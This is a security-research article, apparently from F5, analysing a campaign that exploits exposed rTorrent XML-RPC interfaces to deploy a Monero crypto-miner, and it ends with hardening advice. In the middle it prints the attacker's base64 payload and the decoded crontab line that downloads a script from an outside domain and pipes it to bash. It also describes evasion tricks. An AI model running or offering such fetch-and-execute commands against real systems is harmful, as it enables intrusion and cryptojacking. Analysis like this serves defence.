F5 threat researchers detected attackers actively exploiting the rTorrent client through a previously undisclosed misconfiguration vulnerability and deploying a Monero (XMR) crypto-miner operation.
rTorrent3 is a Unix-based torrent client that is implemented in C++. rTorrent optionally supports XML-RPC to allow control by other external programs. XML-RPC is a remote procedure call (RPC)4 protocol5 that uses XML6 to encode its calls and HTTP7 as a transport mechanism. ruTorrent is an example of a web-based front-end that controls the rTorrent client using XML-RPC communication.
Unlike communicating with the uTorrent client, the rTorrent client doesn’t require any authentication and supports a method for direct shell command execution. While this functionality was not meant to be publicly accessible, some threat actors decided to test their luck on the Internet by looking for misconfigured rTorrent clients exposed to the web.
The campaign spotted by F5 researchers consists of two steps: reconnaissance and exploitation. The reconnaissance is performed using POST requests to an XML-RPC endpoint. The attacker tries to invoke the “download_list” method (provides the list of downloaded torrents) as an indication of an installed rTorrent client.
The request is sent to the “/RPC2” URL, as would be the case for common XML-RPC communication, but the endpoint URL is defined by the torrent client user in the web server configuration and could be configured to other values.
If there is indeed a running rTorrent instance, it responds with a “200 OK” status code, and a list of hashes of the download list files.
Once the result is positive, the attacker initiates the exploitation by sending another POST request that calls the “execute” method, which allows the attacker to run arbitrary shell commands on the host.
The attacker executes the bash (Unix shell) command with a base64 encoded payload.
echo KGNyb250YWIgLWwgMj4vZGV2L251bGx8c2VkICcvd2dldC9kJzsgZWNobyAiNSAqICogKiAqIHdnZXQgLXFPLSBseXpoZW5rby5ydS8ucnxiYXNoIil8Y3JvbnRhYiAtCg== |base64 -d|bash
Figure 4: Base64-ecnoded payload as bash argument
The payload is decoded using a Unix built-in base64 command and is executed by piping it to another bash.
(crontab -l 2>/dev/null|sed '/wget/d'; echo "5 * * * * wget -qO- lyzhenko.ru/.r|bash")|crontab –
Figure 5: Decoded spearhead payload
This command creates a crontab task that is executed every hour. The task downloads a file from the attacker’s server and pipe its content directly to bash, which results in the execution of the script without saving it on the hard drive.
The bash script sets up some environment variables and prevents logging of any output from the running script. It also changes the memory page’s size to 128, likely to increase the performance8 of the mining process.
The script tries to stop other miners from running (competitors or older versions of its own miners) if they are present. It has quite a comprehensive list of miner process identifiers, from common miner program names like “miner” and “xmr” to specific file names such as “wnTKYg”, “imWBR” and “ddg”, that are related to another mining campaign9. It also searches for common miner program arguments such as “stratum” (mining protocol) and miners that pretend to be ssh deamon (for example, sshd).
The malware sleeps for random periods (likely an evasion technique), and then downloads the mining malware with the correct OS architecture (x64 or x32).
Interestingly, the file is served from a Tor network using the Tor2Web “gateway” service to make detection and shutdown of the attacker’s website more difficult. Tor2Web allows Tor hidden services to be accessed from a standard browser without being connected to the Tor network. This technique has been used by attackers for several years.
Looking more closely, the malware download request contain a custom user-agent header with the value of “-”. Interestingly, the same unique user-agent was also used in the Zealot campaign, leading us to speculate that both campaigns are executed by the same threat actor.
The user-agent is a bit unique as attackers typically would use a legitimate browser user-agent to better masquerade their traffic, or a user agent that includes a default HTTP library name (for example, “python-requests/2.18.4”). In this case, the user-agent doubles as a deception technique to trick researchers or scanners that access the server with their Internet browser or tool and get a “403 Forbidden” response instead of the real content. This technique is being used more frequently by sophisticated attackers nowadays.
The downloaded malware is a Monero (XMR) crypto-currency miner. Currently, the executable is barely detected by anti-virus agents. At the time of this writing, only 3 of 59 anti-virus agents detected it as malicious.
The mining pool and Monero wallet addresses is in the malware file strings.
The mining addresses are:
Looking at the mining addresses we can see that the attacker has gained approximately $3,900 from this campaign for one of the addresses. The attacker’s current hash rate will produce the attacker about $43 per day. Currently, the second address doesn’t have a balance.
As crypto-mining campaigns become more profitable than other cybercrime business models, attackers are becoming more creative and finding new ways to extend their operations. In this example, we are seeing crypto-criminals moving into an interesting attack vector target: misconfigured BitTorrent clients. As a protection, rTorrent users are advised to make sure that their clients are not accepting connections from the outside world, and that the listening sockets are bound to the localhost. Or better yet, avoid XML-RPC functionality that is not shipped with the default installation. It’s worth noting that the author of rTorrent explicitly recommends not using the RPC functionality over TCP sockets.
As we continue to analyze this miner malware, we will update this article with new findings.